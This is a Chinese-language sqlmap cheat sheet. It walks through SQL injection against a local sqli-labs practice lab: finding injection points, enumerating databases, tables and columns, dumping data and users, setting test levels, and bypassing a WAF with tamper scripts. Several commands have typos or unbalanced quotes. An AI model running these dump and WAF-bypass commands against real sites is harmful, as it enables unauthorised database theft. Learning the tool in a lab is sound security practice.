SQLmap使用详解
SQLmap(常规)使用步骤
1、查询注入点
python sqlmap.py -u http://127.0.0.1/sqli-labs/Less-1/?id=1
2、查询所有数据库
python sqlmap.py -u http://127.0.0.1/sqli-labs/Less-1/?id=1 --dbs
3、查询当前数据库
python sqlmap.py -u http://127.0.0.1/sqli-labs/Less-1/?id=1 --current-db
4、查表
python sqlmap.py -u http://127.0.0.1/sqli-labs/Less-1/?id=1 -D xxx --tables
5、查列
python sqlmap.py -u http://127.0.0.1/sqli-labs/Less-1/?id=1 -D xxx -T xxx --columns
6、查数据
python sqlmap.py -u http://127.0.0.1/sqli-labs/Less-1/?id=1 -D xxx -T xxx --dump
目标
指定URL
sqlmap -u "http://www.xxxx.com/vuln.php?id=1" --batch特指一个url
--batch 自动选yes
指定文件
sqlmap -m url.txt #批量url注入扫描
POST请求
sqlmap -r ab.txt --data=DATA
--data=DATA 指定参数注入 例如:例:-u "xxx?id=1" --data="name=1&pass=2"
level
指需要执行的测试等级,一共有5个等级(1~5)
- level 1:默认的 level 等级,会测试 GET 和 POST 请求中的参数。
- level 2:加上level1,还会检查 cookie 里的数据。
- level 3:加上level2,还user-agent 和 referer 头部也纳入检测范围。
- level 4~5:加上前几个,会尝试各种 payloads,放过任何潜在的注入点。
脱库
获取数据库
--dbs 获取数据库
Sqlmap-u http://127.0.0.1/sqli-labs/Less-1/?id=1 --dbs
--current-db 获取当前数据库
Sqlmap-u http://127.0.0.1/sqli-labs/Less-1/?id=1 --current-db
获取表
Sqlmap-u http://127.0.0.1/sqli-labs/Less-1/?id=1 -D 'security' --tables
Sqlmap -u 'http://127.0.0.1/sqli-labs/Less-1/?id=1 -D 'security,mysql' --tables 获取多个数据库的表
获取字段
–columns 获取字段
Sqlmap -u 'http://127.0.0.1/sqli-labs/Less-1/?id=1 -D 'security' -T 'user' --columns
获取数据
–dump 表中的数据,可以指定具体的库,表,字段,只指定库名可获取库中所有表的数据
sqlmap -u http://127.0.0.1/sqli-labs/Less-1/?id=1 -D 'securit'-T 'user' --dump
获取用户
–current-user 获取当前登录数据库的用户名
Sqlmap -u 'http://127.0.0.1/sqli-labs/Less-1/?id=1 --batch --current-user
–user 获取数据库的所有用户名
sqlmap -u http://sqli:8001/Less-2/?id=1 --batch --users
WAF绕过
Sqlmap -u http://sqli:8001/Less-2/?id=1 --tamper ‘xxx.py’#添对应的加密脚本